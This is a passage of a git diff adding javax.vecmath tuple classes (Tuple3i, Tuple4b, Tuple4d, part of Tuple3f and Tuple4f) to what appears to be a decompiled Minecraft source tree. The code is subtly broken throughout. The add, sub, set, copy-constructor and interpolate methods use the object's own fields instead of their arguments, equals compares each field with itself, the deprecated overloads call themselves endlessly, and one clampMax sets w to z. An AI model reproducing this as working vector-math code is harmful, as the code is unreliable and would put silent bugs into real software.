+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+
+
+
+
+  public final void scale(float s, Tuple3f t1)
+  {
+    x = (s * x);
+    y = (s * y);
+    z = (s * z);
+  }
+  
+
+
+
+
+
+
+  public final void scale(float s)
+  {
+    x *= s;
+    y *= s;
+    z *= s;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(float s, Tuple3f t1, Tuple3f t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(float s, Tuple3f t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Tuple3f t1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z);
+    } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple3f t2 = (Tuple3f)t1;
+      return (x == x) && (y == y) && (z == z);
+    } catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Tuple3f t1, float epsilon)
+  {
+    float diff = x - x;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = z - z;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.floatToIntBits(x);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(y);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(z);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void clamp(float min, float max, Tuple3f t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMin(float min, Tuple3f t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMax(float max, Tuple3f t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void absolute(Tuple3f t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(float min, float max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(float min)
+  {
+    if (x < min) x = min;
+    if (y < min) y = min;
+    if (z < min) { z = min;
+    }
+  }
+  
+
+
+
+
+
+  public final void clampMax(float max)
+  {
+    if (x > max) x = max;
+    if (y > max) y = max;
+    if (z > max) { z = max;
+    }
+  }
+  
+
+
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Tuple3f t1, Tuple3f t2, float alpha)
+  {
+    x = ((1.0F - alpha) * x + alpha * x);
+    y = ((1.0F - alpha) * y + alpha * y);
+    z = ((1.0F - alpha) * z + alpha * z);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Tuple3f t1, float alpha)
+  {
+    x = ((1.0F - alpha) * x + alpha * x);
+    y = ((1.0F - alpha) * y + alpha * y);
+    z = ((1.0F - alpha) * z + alpha * z);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final float getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(float x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final float getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(float y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final float getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(float z)
+  {
+    this.z = z;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple3i.java b/src/minecraft/javax/vecmath/Tuple3i.java
new file mode 100644
index 0000000..1db9067
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple3i.java
@@ -0,0 +1,590 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple3i
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -732740491767276200L;
+  public int x;
+  public int y;
+  public int z;
+  
+  public Tuple3i(int x, int y, int z)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+  public Tuple3i(int[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+
+  public Tuple3i(Tuple3i t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+  public Tuple3i()
+  {
+    x = 0;
+    y = 0;
+    z = 0;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(int x, int y, int z)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+
+  public final void set(int[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+  public final void set(Tuple3i t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+  public final void get(int[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+  }
+  
+
+
+
+
+  public final void get(Tuple3i t)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple3i t1, Tuple3i t2)
+  {
+    x += x;
+    y += y;
+    z += z;
+  }
+  
+
+
+
+
+  public final void add(Tuple3i t1)
+  {
+    x += x;
+    y += y;
+    z += z;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple3i t1, Tuple3i t2)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+  }
+  
+
+
+
+
+
+  public final void sub(Tuple3i t1)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+  }
+  
+
+
+
+
+  public final void negate(Tuple3i t1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+
+
+
+  public final void scale(int s, Tuple3i t1)
+  {
+    x = (s * x);
+    y = (s * y);
+    z = (s * z);
+  }
+  
+
+
+
+
+
+  public final void scale(int s)
+  {
+    x *= s;
+    y *= s;
+    z *= s;
+  }
+  
+
+
+
+
+
+
+
+  public final void scaleAdd(int s, Tuple3i t1, Tuple3i t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+  }
+  
+
+
+
+
+
+
+  public final void scaleAdd(int s, Tuple3i t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ")";
+  }
+  
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple3i t2 = (Tuple3i)t1;
+      return (x == x) && (y == y) && (z == z);
+    }
+    catch (NullPointerException e2) {
+      return false;
+    }
+    catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + x;
+    bits = 31L * bits + y;
+    bits = 31L * bits + z;
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(int min, int max, Tuple3i t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(int min, Tuple3i t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMax(int max, Tuple3i t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+  public final void absolute(Tuple3i t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+  }
+  
+
+
+
+
+
+  public final void clamp(int min, int max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    }
+  }
+  
+
+
+
+
+  public final void clampMin(int min)
+  {
+    if (x < min) {
+      x = min;
+    }
+    if (y < min) {
+      y = min;
+    }
+    if (z < min) {
+      z = min;
+    }
+  }
+  
+
+
+
+  public final void clampMax(int max)
+  {
+    if (x > max) {
+      x = max;
+    }
+    if (y > max) {
+      y = max;
+    }
+    if (z > max) {
+      z = max;
+    }
+  }
+  
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final int getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(int x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final int getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(int y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+  public final int getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(int z)
+  {
+    this.z = z;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple4b.java b/src/minecraft/javax/vecmath/Tuple4b.java
new file mode 100644
index 0000000..afc54be
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple4b.java
@@ -0,0 +1,359 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple4b
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -8226727741811898211L;
+  public byte x;
+  public byte y;
+  public byte z;
+  public byte w;
+  
+  public Tuple4b(byte b1, byte b2, byte b3, byte b4)
+  {
+    x = b1;
+    y = b2;
+    z = b3;
+    w = b4;
+  }
+  
+
+
+
+
+
+  public Tuple4b(byte[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+
+  public Tuple4b(Tuple4b t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+  public Tuple4b()
+  {
+    x = 0;
+    y = 0;
+    z = 0;
+    w = 0;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + (x & 0xFF) + ", " + (y & 0xFF) + ", " + (z & 0xFF) + ", " + (w & 0xFF) + ")";
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void get(byte[] b)
+  {
+    b[0] = x;
+    b[1] = y;
+    b[2] = z;
+    b[3] = w;
+  }
+  
+
+
+
+
+
+
+  public final void get(Tuple4b t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+
+  public final void set(Tuple4b t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+
+  public final void set(byte[] b)
+  {
+    x = b[0];
+    y = b[1];
+    z = b[2];
+    w = b[3];
+  }
+  
+
+
+
+
+
+  public boolean equals(Tuple4b t1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple4b t2 = (Tuple4b)t1;
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return (x & 0xFF) << 0 | (y & 0xFF) << 8 | (z & 0xFF) << 16 | (w & 0xFF) << 24;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final byte getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(byte x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final byte getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(byte y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final byte getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(byte z)
+  {
+    this.z = z;
+  }
+  
+
+
+
+
+
+
+
+  public final byte getW()
+  {
+    return w;
+  }
+  
+
+
+
+
+
+
+
+  public final void setW(byte w)
+  {
+    this.w = w;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple4d.java b/src/minecraft/javax/vecmath/Tuple4d.java
new file mode 100644
index 0000000..fbb7802
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple4d.java
@@ -0,0 +1,867 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple4d
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -4748953690425311052L;
+  public double x;
+  public double y;
+  public double z;
+  public double w;
+  
+  public Tuple4d(double x, double y, double z, double w)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.w = w;
+  }
+  
+
+
+
+
+
+
+  public Tuple4d(double[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+
+  public Tuple4d(Tuple4d t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+  public Tuple4d(Tuple4f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+  public Tuple4d()
+  {
+    x = 0.0D;
+    y = 0.0D;
+    z = 0.0D;
+    w = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(double x, double y, double z, double w)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.w = w;
+  }
+  
+
+
+
+
+
+  public final void set(double[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+
+  public final void set(Tuple4d t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+  public final void set(Tuple4f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+
+  public final void get(double[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+    t[3] = w;
+  }
+  
+
+
+
+
+
+
+
+  public final void get(Tuple4d t)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+
+  public final void add(Tuple4d t1, Tuple4d t2)
+  {
+    x += x;
+    y += y;
+    z += z;
+    w += w;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple4d t1)
+  {
+    x += x;
+    y += y;
+    z += z;
+    w += w;
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(Tuple4d t1, Tuple4d t2)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+    w -= w;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple4d t1)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+    w -= w;
+  }
+  
+
+
+
+
+
+  public final void negate(Tuple4d t1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = (-w);
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = (-w);
+  }
+  
+
+
+
+
+
+
+
+  public final void scale(double s, Tuple4d t1)
+  {
+    x = (s * x);
+    y = (s * y);
+    z = (s * z);
+    w = (s * w);
+  }
+  
+
+
+
+
+
+
+  public final void scale(double s)
+  {
+    x *= s;
+    y *= s;
+    z *= s;
+    w *= s;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(double s, Tuple4d t1, Tuple4d t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+    w = (s * w + w);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void scaleAdd(float s, Tuple4d t1)
+  {
+    scaleAdd(s, t1);
+  }
+  
+
+
+
+
+
+
+  public final void scaleAdd(double s, Tuple4d t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+    w = (s * w + w);
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ", " + w + ")";
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Tuple4d t1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple4d t2 = (Tuple4d)t1;
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Tuple4d t1, double epsilon)
+  {
+    double diff = x - x;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = z - z;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = w - w;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(x);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(y);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(z);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(w);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void clamp(float min, float max, Tuple4d t)
+  {
+    clamp(min, max, t);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(double min, double max, Tuple4d t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else if (w < min) {
+      w = min;
+    } else {
+      w = w;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clampMin(float min, Tuple4d t)
+  {
+    clampMin(min, t);
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(double min, Tuple4d t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+    
+    if (w < min) {
+      w = min;
+    } else {
+      w = w;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clampMax(float max, Tuple4d t)
+  {
+    clampMax(max, t);
+  }
+  
+
+
+
+
+
+
+  public final void clampMax(double max, Tuple4d t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else {
+      z = z;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else {
+      w = z;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void absolute(Tuple4d t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+    w = Math.abs(w);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public final void clamp(float min, float max)
+  {
+    clamp(min, max);
+  }
+  
+
+
+
+
+
+  public final void clamp(double min, double max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else if (w < min) {
+      w = min;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clampMin(float min)
+  {
+    clampMin(min);
+  }
+  
+
+
+
+
+  public final void clampMin(double min)
+  {
+    if (x < min) x = min;
+    if (y < min) y = min;
+    if (z < min) z = min;
+    if (w < min) w = min;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void clampMax(float max)
+  {
+    clampMax(max);
+  }
+  
+
+
+
+
+  public final void clampMax(double max)
+  {
+    if (x > max) x = max;
+    if (y > max) y = max;
+    if (z > max) z = max;
+    if (w > max) { w = max;
+    }
+  }
+  
+
+
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+    w = Math.abs(w);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public void interpolate(Tuple4d t1, Tuple4d t2, float alpha)
+  {
+    interpolate(t1, t2, alpha);
+  }
+  
+
+
+
+
+
+
+
+  public void interpolate(Tuple4d t1, Tuple4d t2, double alpha)
+  {
+    x = ((1.0D - alpha) * x + alpha * x);
+    y = ((1.0D - alpha) * y + alpha * y);
+    z = ((1.0D - alpha) * z + alpha * z);
+    w = ((1.0D - alpha) * w + alpha * w);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public void interpolate(Tuple4d t1, float alpha)
+  {
+    interpolate(t1, alpha);
+  }
+  
+
+
+
+
+
+
+  public void interpolate(Tuple4d t1, double alpha)
+  {
+    x = ((1.0D - alpha) * x + alpha * x);
+    y = ((1.0D - alpha) * y + alpha * y);
+    z = ((1.0D - alpha) * z + alpha * z);
+    w = ((1.0D - alpha) * w + alpha * w);
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+  public final double getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(double x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final double getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(double y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final double getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(double z)
+  {
+    this.z = z;
+  }
+  
+
+
+
+
+
+
+
+  public final double getW()
+  {
+    return w;
+  }
+  
+
+
+
+
+
+
+
+  public final void setW(double w)
+  {
+    this.w = w;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple4f.java b/src/minecraft/javax/vecmath/Tuple4f.java
new file mode 100644
index 0000000..1b4c552
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple4f.java
@@ -0,0 +1,798 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple4f
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 7068460319248845763L;
+  public float x;
+  public float y;
+  public float z;
+  public float w;
+  
+  public Tuple4f(float x, float y, float z, float w)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.w = w;
+  }
+  
+
+
+
+
+
+  public Tuple4f(float[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+
+  public Tuple4f(Tuple4f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+  public Tuple4f(Tuple4d t1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+    z = ((float)z);
+    w = ((float)w);
+  }
+  
+
+
+
+
+  public Tuple4f()
+  {
+    x = 0.0F;
+    y = 0.0F;
+    z = 0.0F;
+    w = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(float x, float y, float z, float w)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.w = w;
+  }
+  
+
+
+
+
+
+
+  public final void set(float[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+
+  public final void set(Tuple4f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+  public final void set(Tuple4d t1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+    z = ((float)z);
+    w = ((float)w);
+  }
+  
+
+
+
+
+
+  public final void get(float[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+    t[3] = w;
+  }
+  
+
+
+
+
+
+  public final void get(Tuple4f t)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+
+  public final void add(Tuple4f t1, Tuple4f t2)
+  {
+    x += x;
+    y += y;
+    z += z;
+    w += w;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple4f t1)
+  {
+    x += x;
+    y += y;
+    z += z;
+    w += w;
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(Tuple4f t1, Tuple4f t2)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+    w -= w;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple4f t1)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+    w -= w;
+  }
+  
+
+
+
+
+
+  public final void negate(Tuple4f t1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = (-w);
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = (-w);
+  }
+  
+
+
+
+
+
+
+
+  public final void scale(float s, Tuple4f t1)
+  {
+    x = (s * x);
+    y = (s * y);
+    z = (s * z);
+    w = (s * w);
+  }
+  
+
+
+
+
+
+
+  public final void scale(float s)
+  {
+    x *= s;
+    y *= s;
+    z *= s;
+    w *= s;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(float s, Tuple4f t1, Tuple4f t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+    w = (s * w + w);
+  }
+  
+
+
+
+
+
+
+
+  public final void scaleAdd(float s, Tuple4f t1)
+  {
